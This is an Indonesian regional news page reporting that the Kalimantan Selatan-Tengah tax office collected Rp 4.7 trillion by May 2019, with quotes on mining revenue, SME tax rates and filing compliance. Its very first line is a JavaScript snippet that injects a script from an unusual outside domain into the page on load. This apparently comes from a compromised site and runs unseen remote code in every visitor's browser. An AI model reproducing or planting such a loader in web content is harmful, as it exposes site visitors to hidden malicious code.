(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Bisnis

Realisasi Serapan Pajak Kalselteng Tembus Rp 4,7 Triliun


BANJARMASIN, Kantor Wilayah Direktorat Jenderal Pajak Kalimantan Selatan dan Tengah (Kanwil DJP Kalselteng) mengklaim penyerapan pajak yang dibukukan hingga 15 Mei 2019 tembus diangka Rp 4,7 triliun.

Menurut Kepala Kanwil DJP Kalsel-Teng Cucu Supriatna, capaian ini sudah tembus diangka 29,75 persen dari target realisasi penerimaan pajak yang ditargetkan DJP Pusat pada Tahun 2019 yang dipatok sebesar Rp 15,8 Triliun.

“Karena capaian tersebut menurut DJP Pusat kita masuk tiga besar capaian penyerapan pajak terbaik se-Indonesia. Tren ini tentunya harus terus kita lanjutkan sampai tutup Tahun 2019 mendatang,” tegasnya disela kegiatan Gathring Media bersama Kanwil DJP Kalselteng, Rabu (15/5) di Hotel Mercure Banjarmasin.

Ada pun penyerapan pajak tertinggi sendiri diakuinya masih di dominasi oleh sektor pertambangan. Walau begitu pihaknya tetap terus melakukan berbagai terobosan agar sektor-sektor penyerapan pajak potensial lainnya dapat dimaksimalkan.

“Kami sedang berupaya menggarap sektor lain selain pertambangan untuk memaksimalkan penyerapan pajak. Baik itu sektor perkebunan, kehutanan, industri emas hingga UMKM coba sedang kita garap agar bisa memberikan pemasukan pajak yang optimal kepada negara,” tambahnya.

Bahkan terkhusus untuk UMKM pihaknya sudah memiliki program Business Development Service bagi pelaku UMKM dimana UMKM mendapatkan pembinaan dan pengembangan dari DJP dengan harapan kesadaran dan kepatuhan UMKM membayar pajak dapat meningkat.

“Bagi pelaku UMKM yang beromset sampai dengan Rp 4,8 Miliar dalam setahun. Kami bahkan memberikan mereka fasilitas pembayaran pajak final dengan tarif 0,5 persen dari omset,” ungkapnya.

Sedangkan untuk realisasi penyampaian Surat Pemberitahuan Tahunan (SPT) melalui e-Filling sebesar 109,02 persen dari target 84 persen. Namun untuk realisasi tingkat kepatuhan formal untuk Wajib Pajak Badan dan Wajib Pajak Orang Pribadi Non Karyawan diakuinya masih terbilang rendah, yakni hanya sebesar 47,84 persen dari target sebesar 70 persen.

“Untuk badan dan orang pribadi memang masih rendah, karena itulah kita terus coba edukasi lagi melalui rekan-rekan media tentang pentingnya melaporkan pemasukan dan membayar pajak untuk pembangunan negara yang lebih baik lagi kedepannya,” pungkasnya.(arief)

Reporter: Arief
Editor: Chell

Desy Arfianty

Recent Posts

Pascabanjir TurunTangan Banjarmasin – UPZ Bakti Bersama Salurkan Bantuan ke Masjid

KANALKALIMANTAN.COM, PARINGIN — Banjir bandang di Kecamatan Tebing Tinggi, Kabupaten Balangan, beberapa waktu lalu tak… Read More

14 jam ago

Mantan Kajari HSU Ajukan Praperadilan, KPK Siap Ladeni Gugatan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyatakan siap menghadapi gugatan praperadilan yang diajukan mantan… Read More

18 jam ago

Hari Gizi Nasional 2026 “Sehat Dimulai dari Piringku”

KANALKALIMANTAN.COM - Hari Gizi Nasional yang diperingati setiap tanggal 25 Januari merupakan momentum penting dalam… Read More

22 jam ago

Wali Kota Yamin akan Tindak Pemilik Ruko yang Tidak Merawat Drainase

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More

2 hari ago

Ketua DPRD Kalsel Sampaikan Tuntutan Mahasiswa ke Senayan

KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More

2 hari ago

275 ASN Pemko Banjarmasin Pensiun di 2025

KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More

2 hari ago

This website uses cookies.